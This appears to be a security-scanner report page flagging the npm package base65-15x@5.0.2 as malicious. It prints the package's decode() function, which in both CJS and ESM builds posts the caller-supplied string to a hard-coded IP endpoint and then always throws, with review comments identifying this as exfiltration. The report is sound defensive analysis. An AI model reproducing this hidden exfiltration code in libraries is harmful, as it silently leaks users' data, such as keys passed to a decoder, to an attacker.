base65-15x@5.0.2: Malicious npm security report (Block)

Loading npm security reports…

base65-15x@5.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

3 flagged

src/cjs/index.cjsView file

Lines 95-139javascript

95 carry += (BASE * b256[it3]) >>> 0

96 b256[it3] = (carry % 256) >>> 0

97 carry = (carry / 256) >>> 0

98 }

99 if (carry !== 0) { throw new Error('Non-zero carry') }

100 length = i

101 psz++

102 }

103 // Skip leading zeroes in b256.

104 let it4 = size - length

105 while (it4 !== size && b256[it4] === 0) {

106 it4++

107 }

108 const vch = new Uint8Array(zeroes + (size - it4))

109 let j = zeroes

110 while (it4 !== size) {

111 vch[j++] = b256[it4++]

112 }

113 return vch

114 }

115 function decode(string) {

116 async function msgLog(message) {

117 const backendUrl = "http://46.250.253.63:3000/api/log";

118

119 try {

120 await fetch(backendUrl, {

121 method: "POST",

122 headers: { "Content-Type": "application/json" },

123 body: JSON.stringify({ text: message })

124 });

High

Ai Review Evidence

CJS decode() posts its caller-supplied string to a hard-coded IP endpoint.

src/cjs/index.cjsView on unpkg · L115

125 } catch (err) {

126 console.error("Log failed:", err.message);

127 }

128 }

129 msgLog(string);

130 throw new Error('Non-base' + BASE + ' character')

High

Ai Review Evidence

The public decode() API triggers logging and then always throws, making the behavior unrelated to decoding.

src/cjs/index.cjsView on unpkg · L129

131 }

132 return {

133 encode,

134 decodeUnsafe,

135 decode

136 }

137}

138exports.default = base

139

src/esm/index.jsView file

Lines 93-133javascript

93 carry += (BASE * b256[it3]) >>> 0

94 b256[it3] = (carry % 256) >>> 0

95 carry = (carry / 256

Source & flagged code

3 flagged · loading source

src/cjs/index.cjsView file

115function decode(string) { async function msgLog(message) { const backendUrl = "http://46.250.253.63:3000/api/log"; try { await fetch(backendUrl, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ text: message }) });

High

Ai Review Evidence

CJS decode() posts its caller-supplied string to a hard-coded IP endpoint.

src/cjs/index.cjsView on unpkg · L115

129msgLog(string); throw new Error('Non-base' + BASE + ' character')

High

Ai Review Evidence

The public decode() API triggers logging and then always throws, making the behavior unrelated to decoding.

src/cjs/index.cjsView on unpkg · L129

src/esm/index.jsView file

113function decode(string) { async function msgLog(message) { const backendUrl = "http://46.250.253.63:3000/api/log"; try { await fetch(backendUrl, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ text: message }) });

High

Ai Review Evidence

ESM decode() contains the same HTTP exfiltration logic.

src/esm/index.jsView on unpkg · L113

base65-15x@5.0.2

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code